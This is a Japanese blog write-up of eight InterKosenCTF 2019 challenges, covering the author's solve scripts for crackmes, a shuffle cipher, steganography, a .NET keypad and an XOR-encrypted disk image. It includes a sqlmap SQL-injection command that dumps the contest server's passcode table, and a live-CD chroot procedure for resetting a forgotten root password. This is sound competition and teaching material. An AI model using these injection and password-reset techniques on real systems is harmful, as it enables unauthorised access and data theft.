TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

InterKosenCTF Writeup

InterKosenCTF について

InterKosenCTFが開催されました。
2019年8月11日午前10時~2019年8月12日午後10時(36時間)

InterKosenCTF

今回たまたま紹介があったので参加しました。 タイトルにKosenと入っているので、高専生だけかと思いましたが、特にそういった制限はないようです。

競技がスタートしてからしばらくの間、ずっと504が返ってきており、フラグが投入できない感じになっていました。 午後から安定してきて、快適に使えるようになっていました。運営さんお疲れ様です。

今回は、2人のチームで参加しました。結果は、20/91位で3214点でした。 すべての問題を見れていませんが、他のCTFと違い、易しめの問題が多くあった印象でした。 SECCON Beginnersと同じぐらいの難易度だと思います。

f:id:tsalvia:20190813044001p:plain

InterKosenCTF Writeup(8問)

私が実際に解いた8つの問題だけを紹介します。

uploader(warmup, web)

問題

uploader:
TAGS: warmup, web
URL: http://web.kosenctf.com:11000/

解答例

http://web.kosenctf.com:11000/ にアクセスすると、ファイルのアップロードとダウンロードができるWebサービスが表示されました。

f:id:tsalvia:20190813021139p:plain

左上に「view source」とあり、ソースコードを見ることができるようです。 ソースコードを読んでみると、以下のようにGETパラメータをそのままSQL文に入れている箇所がありました。 SQLインジェクションができそうです。

f:id:tsalvia:20190811123053p:plain

テーブル名も見えているので、sqlmapでfilesテーブルをダンプさせました。

$ sqlmap -u "http://web.kosenctf.com:11000/?search=1" --dump -T files
# 省略
+----+------------------------------------------+-----------------------------------------------+
| id | name                                     | passcode                                      |
+----+------------------------------------------+-----------------------------------------------+
| 1  | secret_file                              | the_longer_the_stronger_than_more_complicated |
| 2  | pay.php                                  | t                                             |
| 3  | download20190804152602.png               | hogehoge                                      |
| 4  | up1337.txt                               | 41414141                                      |
| 5  | echo.php                                 | 1234                                          |
| 6  | hoge.txt                                 | hogehoge                                      |
| 7  | payload.txt                              | test                                          |
| 8  | unko.php                                 | 114514                                        |
| 9  | hogehoge.txt                             | 5534bjhdhiudh                                 |
| 10 | test.txt                                 | aaa                                           |
| 11 | fugefblwugjrwabgewagehwalufvwufvujbhrgrg | hogehoge                                      |
+----+------------------------------------------+-----------------------------------------------+
#省略

「secret_file」というファイルがあり、「passcode」も分かりました。 取得できた「passcode」でファイルをダウンロードすると、フラグが確認できました。

FLAG

KosenCTF{y0u_sh0u1d_us3_th3_p1ac3h01d3r}

basic crackme(easy, reversing)

問題

basic crackme:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/709fe7de50a7466099fd27a60ed457cd/basic_crackme.tar.gz

解答例

ファイルをダウンロードすると、64bitのELFバイナリが出てきました。

$ file crackme
crackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3dca344245681e2c75d9588284830d858770c1e0, for GNU/Linux 3.2.0, not stripped

とりあえず実行してみると、ヘルプが表示されました。 どうやらコマンドライン引数に正しいフラグを与えなければならないようです。

$ ./crackme
<usage> ./crackme: <flag>
$ ./crackme aaaaaaa
Try harder!

バイナリファイルなので、とりあえずGhidraで開いてみました。 デコンパイル結果を見てみると、コマンドライン引数に指定したフラグの文字数分だけ比較をして正しければ、 「Yes. This is the your flag :)」と表示されるようになっていました。

f:id:tsalvia:20190811122930p:plain

試しに、「KosenCTF{」と入力してみると、「Yes. This is the your flag :)」と表示されました。

$ ./crackme KosenCTF{
Yes. This is the your flag :)

ここまで分かれば、後は総当たりでフラグを求めることができます。

import subprocess
import sys
import string

def main():
    flag = "KosenCTF{"
    while True:
        for ch in string.printable:
            test_flag = flag + ch
            res = subprocess.run(["./crackme", test_flag], stdout=subprocess.PIPE)
            answer = res.stdout
            if "Yes. This is the your flag :)" in answer.decode("utf-8"):
                flag = test_flag
                if ch == '}':
                    print(flag)
                    sys.exit()
                break
    
if __name__ == "__main__":
    main()
$ python3 solve.py
KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}

FLAG

KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}

Kurukuru Shuffle(easy, crypto)

問題

Kurukuru Shuffle:
TAGS: easy, crypto
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/dc802db1cbf94ae793680eeeb92b78b7/kurukuru_shuffle.tar.gz

解答例

ファイルをダウンロードすると、2つのファイル(shuffle.py、encrypted)が出てきました。

  • shuffle.py
    from secret import flag
    from random import randrange
    
    
    def is_prime(N):
        if N % 2 == 0:
            return False
        i = 3
        while i * i < N:
            if N % i == 0:
                return False
            i += 2
        return True
    
    
    L = len(flag)
    assert is_prime(L)
    
    encrypted = list(flag)
    k = randrange(1, L)
    while True:
        a = randrange(0, L)
        b = randrange(0, L)
    
        if a != b:
            break
    
    i = k
    for _ in range(L):
        s = (i + a) % L
        t = (i + b) % L
        encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
        i = (i + k) % L
    
    encrypted = "".join(encrypted)
    print(encrypted)
    
  • encrypted
    1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm

タイトル通り、フラグを3つのランダムな値(k、a、b (1 ≦ k ≦ 53、a ≠ b))を基にシャッフルするプログラムとなっていました。 shuffle.pyと同じアルゴリズムを使い、総当たりで「encrypted」の文字列をシャッフルさせるプログラムを作成しました。

import itertools
import re

def main():
    enc_flag = "1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm"

    L = len(enc_flag)

    flag_candidate = set()
    for k, a, b in itertools.product(range(0, L), repeat=3):
        encrypted = list(enc_flag)
        if k == 0 or a == b:
            continue
        i = k
        for _ in range(L):
            s = (i + a) % L
            t = (i + b) % L
            encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
            i = (i + k) % L
       
        flag = "".join(encrypted)

        if re.match("^KosenCTF(.*)}$", flag):
            flag_candidate.add(flag)
        
    for flag in flag_candidate:
        print(flag)

if __name__ == "__main__":
    main()

実行してみると以下の通り、3パターンのフラグが出力されました。 一番上のフラグが正しいフラグとなっていました。

$ python3 .\solve.py
KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}
KosenCTF{5s4m1m1_m4sk_s3np41_1s_r34l9y_cut3_38769l1u}
KosenCTF{5s4m1m1_m4rk_s3np41_1s_s38l9y_cut3_34769l1u}

FLAG

KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}

Hugtto!(easy, forensics)

問題

Hugtto!:
TAGS: easy, forensics
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/ec6974b719ea4ea99fe2b7460b121297/hugtto.tar.gz

解答例

ファイルをダウンロードすると、2つのファイル(steg.py、steg_emiru.png)が出てきました。

  • steg.py
    from PIL import Image
    from secret import flag
    from datetime import datetime
    import tarfile
    import sys
    
    import random
    
    random.seed(int(datetime.now().timestamp()))
    
    bin_flag = []
    for c in flag:
        for i in range(8):
            bin_flag.append((ord(c) >> i) & 1)
    
    img = Image.open("./emiru.png")
    new_img = Image.new("RGB", img.size)
    
    w, h = img.size
    
    i = 0
    for x in range(w):
        for y in range(h):
            r, g, b = img.getpixel((x, y))
            rnd = random.randint(0, 2)
            if rnd == 0:
                r = (r & 0xFE) | bin_flag[i % len(bin_flag)]
                new_img.putpixel((x, y), (r, g, b))
            elif rnd == 1:
                g = (g & 0xFE) | bin_flag[i % len(bin_flag)]
                new_img.putpixel((x, y), (r, g, b))
            elif rnd == 2:
                b = (b & 0xFE) | bin_flag[i % len(bin_flag)]
                new_img.putpixel((x, y), (r, g, b))
            i += 1
    
    new_img.save("./steg_emiru.png")
    with tarfile.open("stegano.tar.gz", "w:gz") as tar:
        tar.add("./steg_emiru.png")
        tar.add(sys.argv[0])
    
  • steg_emiru.png f:id:tsalvia:20190813025111p:plain

ザっと見た感じ、ステガノグラフィ系の問題のようです。 ソースコードを読んでみるとsteg.pyは、以下の手順フラグを画像に隠していることが分かりました。

  1. 現在の時刻を基に乱数のseed値を生成する。
  2. フラグの文字列をビットに変換する。
  3. 0~2の乱数を生成し、0なら赤、1なら緑、2なら青の最下位ビットにフラグのビットを挿入する。
  4. 3を画像のピクセル数分繰り返す。
  5. 画像をtar.gzで圧縮し、ファイルとして保存する。

上記と逆の手順を行うプログラムを作成しました。 初期seed値が正確に分からないので、「steg_emiru.png」のタイムスタンプから1秒ずつ遡りながら、 可読文字列が現れるまで、復号を繰り返すようにしました。

from PIL import Image
import string
import random
import os

def decrypt_steg(timestamp, filepath):
    random.seed(timestamp)

    bin_flag = []
    img = Image.open(filepath)
    w, h = img.size
    i = 0
    for x in range(w):
        for y in range(h):
            r, g, b = img.getpixel((x, y))
            rnd = random.randint(0, 2)
            if rnd == 0:
                r, g, b = img.getpixel((x, y))
                bin_flag.append(r & 1)
            elif rnd == 1:
                r, g, b = img.getpixel((x, y))
                bin_flag.append(g & 1)
            elif rnd == 2:
                r, g, b = img.getpixel((x, y))
                bin_flag.append(b & 1)
            i += 1

    flag = ""
    for b in zip(*[iter(bin_flag)] * 8):
        c = 0
        for i in range(8):
            c = c | (b[i] << i)
        flag += chr(c)
    return flag

def main():
    filepath = "./steg_emiru.png"
    timestamp = int(os.stat(filepath).st_mtime)
    for i in range(10):
        flag = decrypt_steg(timestamp - i, filepath)
        if all(c in string.printable for c in flag):
            print(flag)
            break

if __name__ == "__main__":
    main()

上記のプログラムを実行すると、フラグを取得することができました。

$ python3 .\solve.py
KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}K
# 省略

FLAG

KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}

lost world(easy, forensics)

問題

lost world:
TAGS: easy, forensics
FILE: https://mega.nz/#!xxMgQAyb!8NxVb2uLE-duIc5OardUdSNh_5j4QbbpxBggjZ0asvE
Message:
Can you restore my root user? I don't remember the password. Try running dmesg | grep KosenCTF after logging in.

解答例

大きめのファイルをダウンロードすると、vdi形式のファイル(lost_world.vdi)が出てきました。 問題にもある通り、パスワードを忘れてしまったPCにログインできれば、良いようです。 以下の手順でrootのパスワードを変更してログインすることにしました。

  1. VirtualBoxに「lost_world.vdi」とUbuntuのライブDVDを刺した状態にし、UbuntuのライブDVDを起動します。
  2. Ubuntuを試す」を選択する。
  3. Terminal(Ctrl-Alt-T)を起動する。
  4. rootユーザになる。
    $ sudo su
    
  5. マウントすべきディスクを探す。
    $ fdisk -l
    
  6. 対象のディスクをマウントする。
    $ mkdir /mnt/lost_world
    $ mount /dev/sda1 /mnt/lost_world
    
  7. chrootでルートディレクトリを変更する。
    $ chroot /mnt/lost_world
    
  8. rootのパスワードを任意の値に変更する。
    $ passwd root
    
  9. 終了して再起動する。lost_world.vdi側を起動させる。
  10. rootユーザでログインします。
  11. 「dmesg | grep KosenCTF」と入力するとフラグが取得できます。
    f:id:tsalvia:20190811185612p:plain

FLAG

KosenCTF{u_c4n_r3s3t_r00t_p4ssw0rd_1n_VM}

magic function(easy, reversing)

問題

magic function:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/8e731bccdb9546bb94c03cee5bac62bf/magic_function.tar.gz

解答例

ファイルをダウンロードすると、64bitのELFバイナリが出てきました。

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7f3589666f4eca86aca6d787459c5ae93987bb59, not stripped

とりあえず実行してみると、「NG」とだけ表示されます。

$ ./chall
NG

バイナリファイルなので、とりあえずGhidraで開いてみました。 デコンパイル結果を見てみると、「basic crackme」と違い、今度はコマンドライン引数に完全なフラグを与える必要があるようです。 正しいフラグの場合、「OK」と表示されます。

f:id:tsalvia:20190812022107p:plain

今回は、angrを使って解きました。 フラグサイズ(0x18)と成功時に到達するアドレス(0x40086a)を指定しただけのスクリプトです。

import angr
import claripy

def main():
    p = angr.Project("./chall")
    flag = claripy.BVS("flag", 8 * 0x18)
    state = p.factory.entry_state(args=["./chall", flag])
    simgr = p.factory.simgr(state)
    simgr.explore(find=0x40086a)
    print(simgr.found[0].solver.eval(flag, cast_to=bytes))

if __name__ == "__main__":
    main()

上記スクリプトを実行すると、フラグが表示されました。

FLAG

KosenCTF{fl4ggy_p0lyn0m}

passcode(easy, reversing)

問題

passcode:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/6a5e27eb80a44468ad8bf77c2a94a16a/passcode.tar.gz

解答例

ファイルをダウンロードすると、32bitのPEファイルが出てきました。

$ file passcode.exe
passcode.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

とりあえず実行してみると、以下のようなキーパットが出てきました。 この9つのボタンを正しく入力すると、フラグが出てくるようです。

f:id:tsalvia:20190813034726p:plain

32bitの.NET assemblyなので、dnspy-x86で開いてみました。

// 省略
namespace passcode
{
    // Token: 0x02000002 RID: 2
    public class Form1 : Form
    {
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        public Form1()
        {
            this.InitializeComponent();
            this.correct_state = (from c in "231947329526721682516992571486892842339532472728294975864291475665969671246186815549145112147349184871155162521147273481838"
            select (int)(c - '0')).ToList<int>();
            this.debug();
            this.reset();
        }

        // Token: 0x06000002 RID: 2 RVA: 0x000020AC File Offset: 0x000002AC
        private void reset()
        {
            this.vars = new List<int>
            {
                1,
                2,
                3,
                4,
                5,
                6,
                7,
                8,
                9
            };
            this.indices = new List<int>();
            this.state = new List<int>();
        }

        // Token: 0x06000003 RID: 3 RVA: 0x0000211C File Offset: 0x0000031C
        private void shuffle()
        {
            int num = 0;
            foreach (int num2 in this.state)
            {
                num = num * 10 + num2;
            }
            Random random = new Random(num);
            for (int i = 0; i < 9; i++)
            {
                int index = random.Next(9);
                int value = this.vars[i];
                this.vars[i] = this.vars[index];
                this.vars[index] = value;
            }
        }

        // Token: 0x06000004 RID: 4 RVA: 0x000021CC File Offset: 0x000003CC
        private void push(int index)
        {
            this.indices.Add(index);
            this.state.Add(this.vars[index]);
            this.shuffle();
            if (this.state.SequenceEqual(this.correct_state))
            {
                string text = "";
                for (int i = 0; i < this.indices.Count / 3; i++)
                {
                    text += ((char)(this.indices[i * 3] * 64 + this.indices[i * 3 + 1] * 8 + this.indices[i * 3 + 2])).ToString();
                }
                MessageBox.Show(text, "Correct!");
            }
        }

        // Token: 0x06000005 RID: 5 RVA: 0x00002284 File Offset: 0x00000484
        private void Button1_Click(object sender, EventArgs e)
        {
            int index = int.Parse(((Button)sender).Name.Substring(6)) - 1;
            this.push(index);
        }
        // 省略

ソースコードを読んでみると、正しいstateになるようにキーを123回入力する必要があるようです。 しかも、キー入力のたびに、shuffle関数によって、入力値がランダムで並び替えられてしまいます。 幸いにもseed値は、現在のstateから算出しているため容易に予測することができます。

上記のことを踏まえ、dnspy-x86の機能を使い、以下のようにpush関数を書き換えました。 どれかのボタンが入力されると、フラグが出力されるように変更しています。

private void push(int index)
{
    for (int i = 0; i < 123; i++)
    {
        for (int j = 0; j < 9; j++)
        {
            if (this.vars[j] == this.correct_state[i])
            {
                this.indices.Add(j);
                this.state.Add(this.vars[j]);
            }
        }
        this.shuffle();
    }
    if (this.state.SequenceEqual(this.correct_state))
    {
        string text = "";
        for (int k = 0; k < this.indices.Count / 3; k++)
        {
            text += ((char)(this.indices[k * 3] * 64 + this.indices[k * 3 + 1] * 8 + this.indices[k * 3 + 2])).ToString();
        }
        MessageBox.Show(text, "Correct!");
        Console.WriteLine(text);
    }
}

実行すると、メッセージボックスにフラグが出力されます。

f:id:tsalvia:20190812060116p:plain

FLAG

KosenCTF{pr3tty_3asy_r3v3rsing_cha11enge}

saferm(medium, forensics)

問題

saferm:
TAGS: medium, forensics
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/627b4d6651844980ba3eb28b52be3f11/saferm.tar.gz

解答例

ファイルをダウンロードすると、ディスクイメージ(disk.img)が出てきました。

$ file disk.img
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x0,0,2), end-CHS (0x1,70,5), startsector 1, 20479 sectors

Autopsyでdisk.imgを開くと、2つの怪しいファイル(saferm、document.zip)が出てきました。

f:id:tsalvia:20190812185756p:plain

safermは、64bitのELFファイル、document.zipは壊れているようです。

$ file saferm
saferm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=56290bd1c9e89a65dad224953667d84270822d9a, not stripped
$ file document.zip
document.zip: data

safermは、ELFファイルなので、Ghidraで開いてみました。

f:id:tsalvia:20190812185908p:plain

デコンパイル結果を読んでみると、/dev/urandomから8バイト取得し、その値をキーにXORでデータを暗号化しているようでした。 おそらく、document.zipは、safermで暗号化されたようです。

document.zipは、おそらくzipファイルなので、zipヘッダを基にXORキーを求めました (XORキー = 「50 4B 03 04 14 00 00 00」^ 「7E 1C AE 2A EB C8 CA 49」)。

f:id:tsalvia:20190812185351p:plain

今回は、CyberChefでXORキーを求めました。

f:id:tsalvia:20190812185502p:plain

求めたXORキー(2E 57 ad 2E FF C8 CA 49)を基にdocument.zipを復号します。

f:id:tsalvia:20190812185609p:plain

復号したzipファイルを展開すると、document.pdfが入っていました。 このファイルを開くと、フラグを確認することができました。

f:id:tsalvia:20190812185644p:plain

FLAG

KosenCTF{p00r_shr3dd3r}